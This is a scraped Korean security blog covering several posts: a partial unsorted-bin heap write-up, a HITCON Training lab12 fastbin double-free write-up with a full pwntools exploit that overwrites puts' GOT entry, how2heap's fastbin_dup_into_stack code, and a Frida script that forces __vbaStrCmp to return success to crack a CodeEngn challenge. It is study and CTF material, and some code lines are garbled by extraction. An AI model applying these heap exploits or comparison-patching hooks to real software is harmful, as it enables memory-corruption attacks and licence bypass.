0x603000이 처음으로 할당한 0x80 chunk이고, 0x603090이 두 번째로 할당한 0x20 chunk, 0x6030c0가 세 번째로 할당한 0x80 chunk입니다.

그리고 마지막으로 할당한 0x20 chunk는 0x603150에 위치하고 있습니다.


저 화면은 메모리할당 한 후 39라인까지 실행한 결과(free 2번 실행) 인데, 처음으로 할당한 chunk의 fd가 세 번째 chunk를 가르키고 있고

세 번째 chunk의 bk가 첫 번째로 할당한 chunk를 가르키고 있는 것을 확인할 수 있습니다.



이 화면은 동일한 로직을 마지막 chunk없이 실행한 결과 입니다. fd와 bk가 우리가 예상한 것과는 다른 모습을 하고 있습니다. 서로를 가르키고 있지 않은 모습입니다. 마지막으로 할당 했던 메모리가 어떤 역할을 하는지는 아직 잘 모르지만.. 존재해야지만 0x80 chunk들이 정상적으로 unsorted bin list에 속하는 것으로 보입니다.


2. index 2, 0의 순으로 메모리 해제를 합니다. 

위와 같은 구조에서 우리가 덮어쓸 수 있는 메모리는 두 번째 chunk를 수정하여 세 번째 chunk를 덮어 쓸 수 있습니다. 수정 메모리 크기를 검사하지 않는 탓이기도 하지요. 


세 번째 메모리의 bk는 첫 번째 메모리를 가르키고 있고, 이 주소를 우리가 원하는 magic의 주소로(실제로는 magic의 주소에서 헤더크기(0x10) 만큼 빼준 값)으로 덮어써 magic의 값을 변경할 것입니다.


3. 두 번째 메모리의 데이터 size는 0x20입니다. 그리고 세 번째 메모리의 헤더 사이즈는 0x10, 우리가 덮어쓸 fd와 bk는 각각 0x8이고 

따라서 0x40만큼 덮어 써야 원하는 대로 bk를 완전히 덮어쓸 수 있습니다.


42라인에서 0x40만큼 크기를 입력해주었고, a를 0x20개 만큼 채웠습니다. 그리고 prev_size를 0으로, 현재 chunk사이즈는 본래의 값인 0x90인 144로 채웠습니다. 그리고 fd 값은 0으로 채웠고, bk부분에 우리가 원하는 값인 magic - 0x10 값으로 채워주었습니다.

 

4. 그 이후 새로운 chunk를 요청하여 magic에 값을 써준 후 4869를 입력하여 마무리 되었습니다.






끗!



1. 시작하기전에...

저번 포스팅(http://bachs.tistory.com/entry/HITCON-Training-lab12-Fastbin-Attack?category=961837)에 이어 fastbin attack에 대해 포스팅 하려고합니다.

이번 글에서는 HITCON Training lab12를 풀어보겠습니다.



2. 분석

문제에서 주어진 소스코드 secretgarden.c 를 살펴보겠습니다. 소스코드가 길어 필요한 부분만 분석하겠습니다.(환경은 64bit 입니다.)


1
2
3
4
5
6
7
8
9
struct flower{
    int vaild ;             //8byte
    char *name ;            //8byte
    char color[24] ;        //24byte
};
                            //40byte
 
struct flower* flowerlist[100];    //list of flowers
unsigned int flowercount = 0;     //count of flowers 



먼저 flower 구조체가 있습니다. flower구조체는 꽃(flower구조체)의 유효성을 검증해주는 valid 변수가 있고, 꽃의 이름을 입력받는 변수 name이 있습니다.

마지막으로 꽃의 색을 저장하는 24바이트짜리 char 배열 color 변수를 멤버로합니다. 이 구조체의 총 크기는 40바이트입니다.


전역변수로는 전체 꽃의 개 수를 세기 위한 flowercount가 있고, 꽃들을 관리할 수 있는 flower * 배열이 있습니다.


다음은 함수들을 살펴보도록 하겠습니다. 모든 함수를 다루기엔 내용이 너무 많아, 취약점이 발생 할 수 있는 함수인 add()와 del()만 살펴보겠습니다.


int add()

=> add함수의 동작은 아래와 같습니다.  

전역변수 flowercount가 100보다 크면 "The garden is overflow" 출력합니다.

flowercount가 100보다 작으면

- 추가 할 flower구조체에 메모리를 할당하고 초기화 합니다.

flower name 의 크기를 입력 받은 후 크기만큼 buf 메모리를 할당합니다.

- flower name을 입력받아 buf에 저장합니다.

- flower 구조체 name 멤버변수에 buf 포인터를 대입합니다.

- flower 구조체 color 멤버변수에 입력 받습니다.

- flower 구조체 valid 변수 1로 setting합니다.

- 전역변수 flowerlist를 검색하여 비어있는 곳에 생성한 flower 를 추가합니다.

- 전역변수 flowercount를 1 증가시킨 후, "Successful !" 출력합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int add(){
    struct flower *newflower = NULL ;
    char *buf = NULL ;
    unsigned size =0;
    unsigned index ;
    if(flowercount < 100){
        newflower = malloc(sizeof(struct flower));
        memset(newflower,0,sizeof(struct flower));
        printf("Length of the name :");
        if(scanf("%u",&size)== EOF) exit(-1);
        buf = (char*)malloc(size);
        if(!buf){
            puts("Alloca error !!");
            exit(-1);
        }
        printf("The name of flower :");
        read(0,buf,size);
        newflower->name = buf ;
        printf("The color of the flower :");
        scanf("%23s",newflower->color);
        newflower->vaild = 1 ;
        for(index = 0 ; index < 100 ; index++ ){
            if(!flowerlist[index]){
                flowerlist[index] = newflower ;
                break ;
            }
        }
        flowercount++ ;
        puts("Successful !");
    }else{
        puts("The garden is overflow");
    }
}



int del()

flowercount가 0이면 "No flower in the garden" 출력합니다.

flowercount가 0이 아니면 "Which flower do you want to remove from the garden:" 를 출력 한 후 지울 index를 입력받습니다.

  입력받은 인덱스의 유효성 검사(0 ~ 100의 범위 외) 이거나 해당 인덱스에 값이 없는 경우 

- "Invalid choice" 출력 후 프로그램을 종료합니다.

위의 경우가 아니면

- 해당 인덱스의 구조체 valid 멤버변수를 0으로 setting합니다.

- 해당 인덱스의 구조체 name 멤버변수의 메모리를 해제합니다.

- "Successful" 출력

- 구조체는 메모리 해제하지 않으며, flowerlist에서도 지우지 않습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int del(){
    unsigned int index ;
    if(!flowercount){
        puts("No flower in the garden");
    }else{
        printf("Which flower do you want to remove from the garden:");
        scanf("%d",&index);
        if(index < 0 ||index >= 100 || !flowerlist[index]){
            puts("Invalid choice");
            return 0 ;
        }
        (flowerlist[index])->vaild = 0 ;
        free((flowerlist[index])->name);
        puts("Successful");
    }
}



fastbin attack이 가능한 조건은 아래와 같습니다.


- 동일한 크기의 Fast chunk의 할당과 해제가 자유로워야한다.

- 공격자에 의해 해제된 Fast chunk를 한번 더 해제 할 수 있어야 한다.(Double Free Bug)

- 공격자에 의해 할당된 Fast chunk 영역에 값을 저장 할 수 있어야 한다.

- 할당 받고자 하는 메모리 영역에 해제된 Fast chunk의 크기 값이 저장되어 있어야한다.


소스코드를 분석해 보았을 때, add()함수 내에서 크기 값을 입력하여 Fast chunk의 할당이 자유롭고 할당된 메모리 내에 값을 쓸 수 있으며 

del()함수를 통해 메모리 해제 역시 자유롭습니다. 앞선 포스팅에서 봤듯이 메모리를 할당한 후 a -> b -> a의 형태로 메모리 해제를 하면,

fastbin attack이 가능 할 것으로 보입니다.


3. Exploit 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
= process('./secretgarden')
 
def raiseflower(length,name,color):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)
 
def visit():
    r.recvuntil(":")
    r.sendline("2")
    
def remove(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
 
def clean():
    r.recvuntil(":")
    r.sendline("4")
    
magic = 0x400c7b 
fake_chunk = 0x601ffa
 
raiseflower(80,"tulip","red")#0
raiseflower(80,"rose","blue")#1
remove(0)
remove(1)
remove(0)
raiseflower(80,p64(fake_chunk),"blue")
raiseflower(80,"sunflower","red")
raiseflower(80,"bach","green")
raiseflower(80"a"*6 + p64(0+ p64(magic)*2 ,"red")#malloc in fake_chunk
 
r.interactive()



exploit 코드를 살펴보겠습니다.

코드의 메인 아이디어는 호출 하고 싶은 함수(magic)의 주소를 적어두고, 이 주소를 puts함수의 got에 써주어 exploit을 하려고합니다.


첫 번째로 35 ~ 39라인 에서 메모리를 두 개 할당 하여 a->b->a의 순서로 메모리를 해제하였습니다.

그리고 puts의 got(0x602020)에 써주기 위해 fake_chunk를 0x601ffa를 선정하였는데 이유는 80바이트(0x50) + chunk header(0x10)값이 적힌 곳

써주어야 하기 때문입니다. 이 부분이 이해가 안간다면 앞에 포스팅 한 글에서 chunk사이즈를 맞춰주어야 한다는 부분을 다시 보고오시기 바랍니다.


 


0x601ffa의 주소를 출력한 화면입니다. 0x601ffa + 0x8에 0xe150000000000060 값이 쓰여져 있습니다.

이 곳에 설명한대로라면 0x0000000000000060 값이 써져있어야 하지만 상위 바이트에 다른 값이 추가로 더 붙어있음을 알 수 있습니다.

운영체제에서 검사하는 메모리의 크기는 하위 4바이트를 이용해 확인하기 때문에 상위 4바이트에 있는 값은 무시할 수 있습니다.

이에 대해 자세한 내용은 http://veritas501.space/2017/05/23/HITCON-training%20writeup/ 의 lab12파트를 확인해주시기바랍니다.


따라서 0x601ffa를 fake_chunk의 주소로 선정해주어 메모리를 할당 받고 사용할 수 있는 주소는 0x60200a부터입니다.

0x602020에 값을 덮어쓰기 위해서는 0x602020 - 0x601ffa = 0x16(22) 이고, 따라서 앞의 dummy가 22바이트 필요합니다.


43라인에서 "a"*14 + p64(magic)*2 를 하여(6byte + 8byte + 16byte) 26byte를 써 magic함수가 0x602020에 써질 수 있도록

페이로드를 작성하였습니다.

 

끗!


1. 시작하기전에...

이번 문제에 대한 포스팅은 내용이 길어질 것 같아서 두 개로 분할해서 포스팅하려고합니다.

먼저 이 글에서는 Allocated Chunk(할당된 Heap)의 형태와 Free Chunk(해제된 Heap)을 알아본 후 how2heap의 예제를 통해 Fastbin Attack의 개념을 적어보려고합니다.

이후 다음 포스팅에서 HITCON Taining lab12의 문제의 라이트업을 쓰도록 하겠습니다.


1-1. Allocated Chunk

메모리가 할당이 되면 아래와 같은 모습을 같는 chunk가 생성됩니다.

맨 위에서부터 차례로 설명을 해보겠습니다. 32bit에서는 4byte, 64bit에서는 8byte로 메모리 상 자신 보다 이전의 chunk의 크기를

저장하는 prev_size필드가 존재합니다. 테스트 해본 결과 앞에 있는 chunk가 없다면 0으로 set되는 것을 확인하였습니다.


그 다음으로 오는 필드는 자기 자신의 크기를 기록합니다. 유저가 사용하는 영역뿐만 아니라 그림에 표현된 chunk 전체의 크기이며,

마지막 3bit는 이전 청크 혹은 현재 청크의 상태를 표현하기 위한 flag로써 사용하는데 자세한 내용은 생략하겠습니다.


위 두 필드를 지나면 사용자가 할당받아 사용하는 공간이 위치합니다. 그리고 마지막으로는 binlist상 다음에 존재하는 chunk의 크기가 기록됩니다.


OS 사용주소 라고 적어놓은 뜻은 binlist에서 관리되는 chunk의 주소를 표현하고 싶어서 저렇게 적어 놓았고,

User 사용주소 라고 적은 것은 실제로 유저가 메모리를 받을 때(malloc, calloc 등을 통해) 리턴 받는 주소라 User사용 주소로썼습니다.


 

1-2. Free Chunk

메모리가 해제된 Chunk는 Allocated Chunk와 비슷하지만 다른 형태를 갖습니다.

상위 두 필드는 같은 용도로써 유지되지만 User사용 영역이였던 곳이 binlist에서 앞 뒤 chunk를 가르키는 포인터 값이 저장 됩니다.

fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않습니다.


size of chunk의 하위 3bit flag에 대한 내용을 포함한 더 자세한 사항은 아래 링크 첨부해 드립니다.

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html (영문)

[참조] https://www.lazenca.net/pages/viewpage.action?pageId=1147929 (한글)


2. how2heap - fastbin_dup_into_stack


how2heap에 fastbin attack에 대한 내용을 코드로 설명을 한 것이 있어 이 것을 같이 보려고합니다.


아래는 fastbin_dup_into_stack.c 의 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n"8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n"malloc(8));
}


 

fastbin attack의 목적은 메모리 할당을 받는 공간을 우리가 원하는 곳으로 컨트롤 하기 위함입니다. 예를 들어 stack공간이라던지, got 테이블이라던지

원하는 공간에 메모리를 할당 받아서 사용할 수 있다는 것입니다.


14 ~ 16라인에서 세 개의 메모리를 할당 받았습니다. (a, b, c) 그 후 메모리 해제를 하는데 순서는 a -> b -> a로 해제를 합니다.

그 이유는 해제된 메모리를 연달아서 해제 할 수 없기 때문인데, fastbin에서는 binlist에 top에 있는 주소를 검사하여 해당 주소는 해제 할 수 없게 되어있습니다. 그래서 a를 두 번 해제하기 위해 a -> b -> a의 순서로 해제 하는 것입니다. 왜 a를 두번 해제 해야하는 지는 아래에서 다시 설명하겠습니다.


지금까지 진행 된 상황에서 fastbin list의 모습을 그려보도록 하겠습니다.



a와 b는 현재 free된 상태이니 Free Chunk의 구조를 가지게 될 것입니다. 또한 a, b, c는 크기가 작아 fastbin에 속하니 fastbin list이기 때문에 single linked list에 속하게 됩니다.


맨 처음 해제 된 a는 FD에 b의 주소를 가르키고 b의 FD는 a를 가리키는 모습이 됩니다. 이 상태에서 36 라인에서 부터 메모리를 다시 할당 하기 시작합니다. 


처음 메모리를 요청 받으면 a의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 a의 FD에 적혀있는 b의 주소입니다.

다음 메모리를 요청 받으면 b의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 b의 FD에 적혀있는 a의 주소입니다.


현재는 Tail쪽에 있는 a의 FD에는 값이 없습니다. 하지만 처음 메모리를 요청 했을 때 a를 리턴 받기 때문에 우리가 핸들링 할 수 있습니다.

메모리를 할당 받은 후 a의 FD에 우리가 원하는 주소 값을 써준다면 우리가 원하는 곳의 메모리를 할당 받을 수 있는 것입니다.

FD에 우리가 원하는 주소 값을 써주는 것은 특별한 테크닉이 필요한 것은 아닙니다. 왜냐하면 해제된 메모리의 FD필드는 할당받은 메모리의

contents에 해당하기 때문에 그저 주소 값을 적어주면 됩니다.


여기서 한 가지 놓치지말아야 할 점은 해당 공간에 size of chunk를 맞춰 주어야 한다는 것입니다.

이 예제에서는 stack_var = 0x20 이라는 것으로 size를 맞춰 주고있습니다.


64bit환경에서 a,b,c는 8바이트를 할당 받아서 chunk의 크기는 0x20 = 32byte입니다.

size of previous chunk = 8byte

size of chunk = 8byte

contents = 8byte

next chunk size = 8byte 로 최소 할당 사이즈입니다. (32bit환경은 16byte)


우리가 사용하고 싶은 주소 - 16byte를 a에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을해야

원하는 공간에 메모리를 할당 받을 수 있습니다.  

이러한 이유로 48라인에서 stack_var의 주소 - 8byte로 d의 값을 지정하고 스택공간에 메모리를 할당 받게 한 것입니다.




끗!


=====

2018.02.27 prev_size관련 수정


지난번 iOS Hooking관련 포스팅을 진행하면서 Frida를 소개해드린 바 있습니다.

[링크] http://bachs.tistory.com/entry/iOS-Hooking2Frida?category=892887


전에 언급했던 것처럼 Frida는 iOS뿐만아니라 Android와 Windows에서도 활용할 수 있는데요, 오늘은 Windows에서 활용하는 방법에 대해서 

포스팅을 해보려고 합니다. 예제는 코드엔진의 Basic level03 문제를 이용하였습니다.

[링크] http://codeengn.com/challenges/basic/03


1. 분석

예제 프로그램을 실행하면, 영어인듯 하지만 영어는 아닌것으로 보이는 알럿이 뜹니다.


 

여기서 취소를 누르면 그대로 프로그램을 종료되고, 확인을 누르면 진행이 됩니다.





위의 알럿창에서 뭐라고 이야기했는지 정확히는 모르지만 실행결과를 보니 Regcode를 입력해서 인증을 하는 프로그램인듯 합니다.

더불어 이 예제의 목적은 Regcode를 모르는 상태에서 이 프로그램을 크래킹해내는 것이겠죠.


여기까지를 보고 예상해볼 수 있는 점은 입력 기대값이 있고, 입력값과 비교해서 성공/실패여부를 반환할 것이라는걸 알 수 있습니다.

그리고 이 예제 프로그램이 통신을 하지 않는 것으로 보이니 파일안에 입력 기대값이 존재하거나 로컬에 존재하는 어떤 파일안에 존재할 가능성 등을 

생각해 볼 수 있습니다.  


자세한 건 IDA로 열어서 imports subview를 한번 봅시다.



보다시피 MSVBVM50이라는 라이브러리에서만 참조하는 것으로 보이네요. 검색을 해보면 MSVBVM50.dll은 Visual Basic으로 개발된 프로그램이

참조하는 dll이라는 것을 알 수 있습니다. 또한 목록에서 볼때는 일단 fopen같은 함수가 보이지 않으니, 입력 기대값이 실행 바이너리 안에 존재할 가능성이

더 높아졌네요.


입력값과 입력기대값을 비교하기위해 문자열 비교함수를 사용했을 가능성이 크니 해당 함수를 기점으로 분석 포인트를 잡는 것이 좋을 것같습니다.

import 함수 목록 중 __vbaStrCmp를 포인트로 잡아 보겠습니다.



__vbaStrCmp 함수의 레퍼런스를 찾아보니 두 군데가 나오고 있습니다. 위의 화면은 두 곳 중 더 상위주소에 있는 곳으로 이동한 화면입니다.

__vbaStrCmp 함수를 호출하기전에 ebp-58과 "2G83G35Hs2"라는 문자열을 함수의 인자로 사용하기 위해 push해주고 있는 모습입니다.

이 것을 보고  ebp-58에 우리가 입력한 입력값이 존재하고 "2G83G35Hs2"가 입력 기대값임을 알 수 있습니다.



오, 기대 입력 값은 잘 찾은거 같네요! 하지만 이번에는 Windows후킹에대해 포스팅을 하는 거니까 후킹으로 풀어봅시다.

일단, 우리가 후킹을 걸 메서드는 MSVBVM50.dll 의 __vbaStrCmp()이고, 리턴 값을 조작해주면 될거 같아요.


2. 후킹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from __future__ import print_function
import frida
import sys
 
def on_message(message, data):
    print("[%s] => %s" % (message, data))
 
def main(target_process):
    session = frida.attach(target_process)
    #print([x.name for x in session.enumerate_modules()])
  
    script = session.create_script("""
    var baseAddr = Module.findBaseAddress('MSVBVM50.dll');
    console.log('MSVBVM50.dll baseAddr: ' + baseAddr);
    //"use strict";
    const __vbaStrCmp = Module.findExportByName("MSVBVM50.dll", "__vbaStrCmp");
    Interceptor.attach(__vbaStrCmp, {
        onEnter: function (args) {
            console.log('===============================================================================');
            console.log('[+] Called __vbaStrCmp!! [' + __vbaStrCmp + ']');
            console.log('[+] args[0] = [' + args[0] + ']');
            dumpAddr('args[0]', args[0], 0x16); 
            console.log('[+] args[1] = [' + args[1] + ']');
            dumpAddr('args[1]', args[1], 0x16);
        },
        // When function is finished
        onLeave: function (retval) {
            console.log('===============================================================================');
            
            /*
                It doesn't work !
            console.log('[+] (Origin) Returned from __vbaStrCmp: ' + typeof(retval));
            console.log('[+] (Origin) Returned from __vbaStrCmp: ' + retval);
            retval = 0;
            console.log('[+] (forgery) Returned from __vbaStrCmp: ' + typeof(retval));
            console.log('[+] (forgery) Returned from __vbaStrCmp: ' + retval);
            */

            this.context.eax = 0x0;
            console.log('Context information:');
            console.log('Context  : ' + JSON.stringify(this.context));
            //console.log('Return   : ' + this.returnAddress);
            //console.log('ThreadId : ' + this.threadId);
            //console.log('Depth    : ' + this.depth);
            //console.log('Errornr  : ' + this.err);
            console.log('===============================================================================');
        }
    });
    // Print out data array, which will contain de/encrypted data as output
    function dumpAddr(info, addr, size) {
        if (addr.isNull())
            return;
        console.log('Data dump ' + info + ' :');
        var buf = Memory.readByteArray(addr, size);
        // If you want color magic, set ansi to true
        console.log(hexdump(buf, { offset: 0, length: size, header: true, ansi: false }));
    }
    function resolveAddress(addr) {
        // Enter the base address of dll as seen in your favorite disassembler (here IDA)
        var idaBase = ptr('0x77EC0000');
        // Calculate offset in memory from base address in IDA database 
        var offset = ptr(addr).sub(idaBase);
        // Add current memory base address to offset of function to monitor 
        var result = baseAddr.add(offset); 
        // Write location of function in memory to console
        console.log('[+] New addr=' + result); 
        return result;
    }
""")
 
    script.on('message', on_message)
    script.load()
    print("[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n")
    sys.stdin.read()
    session.detach()
    
if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("this script needs pid or proc name :(")
        sys.exit(1)
 
    try:
        target_process = int(sys.argv[1])
    except ValueError:
        target_process = sys.argv[1]
    main(target_process)
cs

Frida공식 홈페이지를 방문하면 기본적인 틀에 대한 설명과 예제 코드를 볼 수 있습니다. 저 역시 아래 링크의 폼에서 수정을 하며 완성을 시켰습니다.

[링크] https://www.frida.re/docs/examples/windows/


2-1 후킹 메서드 주소 찾기

먼저, 해당 __vbaStrCmp 메서드 주소를 찾는 방법입니다.

var baseAddr = Module.findBaseAddress('MSVBVM50.dll');

const __vbaStrCmp = Module.findExportByName("MSVBVM50.dll", "__vbaStrCmp");


위 코드를 실행할 때는 python script_name.py [PID] 로 실행하게 됩니다. 프로세스를 타겟팅해서 attach 하는 것이지요

타겟 프로세스에서 로드되어있는 dll의 주소를 찾기 위해서는 findBaseAddress()를 사용하여 찾을 수 있습니다.


그리고 우리가 후킹을 걸기 위해 필요한 함수의 주소는 findExportByName("dll명", "함수명") 으로 찾을 수 있죠

따라서 const __vbaStrCmp = Module.findExportByName("MSVBVM50.dll", "__vbaStrCmp"); 이 코드가 실행되고 나면 __vbaStrCmp의 주소가

변수에 담기게 됩니다.


프로세스 내부에 존재하는 사용자 정의함수 같은 경우에는 var print_log = resolveAddress('0x0043FC34'); 와 같은 형식으로 얻어와야합니다.

resolveAddress()에 IDA에서 확인한 주소 값(sub_xxxxxxxx)을 인자로 전달해주고, resolveAddress함수 안에 idaBase변수에 IDA에서 사용한 베이스 주소를 입력해준 후 사용해야 합니다.


2-2 onEnter

타겟 함수에 제대로 attach가 되었다면 이제 값을 자유롭게 보고, (권한이 허용되는 한)조작할 수 있습니다.

1
2
3
4
5
6
7
8
9
onEnter: function (args) {
            console.log('===============================================================================');
            console.log('[+] Called __vbaStrCmp!! [' + __vbaStrCmp + ']');
            console.log('[+] args[0] = [' + args[0+ ']');
            dumpAddr('args[0]', args[0], 0x16); 
 
            console.log('[+] args[1] = [' + args[1+ ']');
            dumpAddr('args[1]', args[1], 0x16);
}
cs

onEnter에서는 args변수로 함수 인자 값들을 확인해 볼 수 있습니다. 지금은 두 인자 값이 포인터로 전달이 되기 때문에 hexdump를 떠서 

확인해보고있습니다.


2-3 onLeave

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
onLeave: function (retval) {
    console.log('===============================================================================');
            
    /*
    It doesn't work !
    console.log('[+] (Origin) Returned from __vbaStrCmp: ' + typeof(retval));
    console.log('[+] (Origin) Returned from __vbaStrCmp: ' + retval);
    retval = 0;
    console.log('[+] (forgery) Returned from __vbaStrCmp: ' + typeof(retval));
    console.log('[+] (forgery) Returned from __vbaStrCmp: ' + retval);
    */
    this.context.eax = 0x0;
    console.log('Context information:');
    console.log('Context  : ' + JSON.stringify(this.context));
    //console.log('Return   : ' + this.returnAddress);
    //console.log('ThreadId : ' + this.threadId);
    //console.log('Depth    : ' + this.depth);
    //console.log('Errornr  : ' + this.err);
    console.log('===============================================================================');
}
cs

__vbaStrCmp는 문자열 비교 결과 일치하는 경우 0을 리턴하고 다른경우 -1을 리턴하는 것으로 보입니다.

따라서 1차 적으로는 retval 을 0 으로 만들어 주었었는데요, 확인을 해보니 retval이 바뀌었지만 제대로 동작하지 않는 모습을 보였습니다.

왜인지는 모르겠어요ㅠㅠ


이후에 함수의 리턴값을 저장하는 eax의 값을 확인해보니 0xffffffff로 -1이 저장되고 있는 것을 확인하였고, 

this.context.eax = 0x0; 로 eax값을 0으로 만들어 준 후 정상적으로 크래킹된 것을 볼 수 있었습니다.



끗!

'Study > Windows' 카테고리의 다른 글

CVE-2017-8464 One Day분석 - 1  (0) 2019.03.24

tistory에서 2017년 결산을 내준다기에 해본 결과입니다.


1. 많이 언급한 단어



기존에 포스팅 한 글들을 파싱해서 자주 사용한 단어들을 뽑아주나보네요ㅋㅋ

역시 포스팅한 글들의 성격이 확연히 드러나는 것 같습니다.



2. 총 방문자 수

올해엔 총 8622명이 방문을 해주셨네요 ~

요즘 일평균 글을 올리지 않았을 때는 30~40명 정도 방문을 해주고 계시고

글을 올린 날은 100명 내외 정도 방문 해주시는 것같습니다.

조만간 블로그 토탈 방문자 수가 조만간 13000명을 넘을 것 같습니다! 핳


올해에도 열심히 포스팅 할테니 많이 들러주세요 ~

특히 올해에는 책을 읽고 난 후기도 포스팅을 해볼 예정이랍니다 !

그럼 이만 뿅~


'Study > ETC' 카테고리의 다른 글

Zip file구조  (2) 2016.10.27
Google I/O 2016 Extended Seoul 정리 및 후기  (4) 2016.06.19
Arpspoofing  (0) 2015.10.16
실전 악성코드와 멀웨어 분석 Lab03_03.exe  (0) 2014.09.01
실전 악성코드와 멀웨어 분석 Lab03-02.dll  (0) 2014.08.29

+ Recent posts